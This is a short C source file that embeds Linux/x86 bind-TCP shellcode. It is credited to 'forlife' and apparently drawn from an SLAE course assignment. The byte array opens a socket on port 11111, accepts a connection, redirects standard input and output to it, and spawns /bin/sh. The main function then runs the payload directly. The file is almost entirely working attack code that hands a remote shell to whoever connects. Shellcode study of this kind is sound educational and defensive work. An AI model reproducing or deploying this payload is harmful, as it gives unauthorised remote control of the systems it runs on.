Shell Bind TCP Shellcode (Linux/x86) - forlife

shellcode.c

// This is a snippet of the original file in https://github.com/geyslan/SLAE/blob/master/1st.assignment/shellcode.c

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

"\x66\xbd"
"\x2b\x67" /* <- Port number 11111 (2 bytes) */
"\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89"
"\xe1\xcd\x80\x89\xc6\x5f\xb0\x66\x6a\x04\x54\x57"
"\x53\x56\x89\xe1\xb3\x0e\xcd\x80\xb0\x66\x89\xfb"
"\x52\x66\x55\x66\x53\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd"
"\x80\xb0\x66\x43\x89\x54\x24\x08\xcd\x80\x93\x89"
"\xf9\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52"
"\x53\xeb\xa8";


main ()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}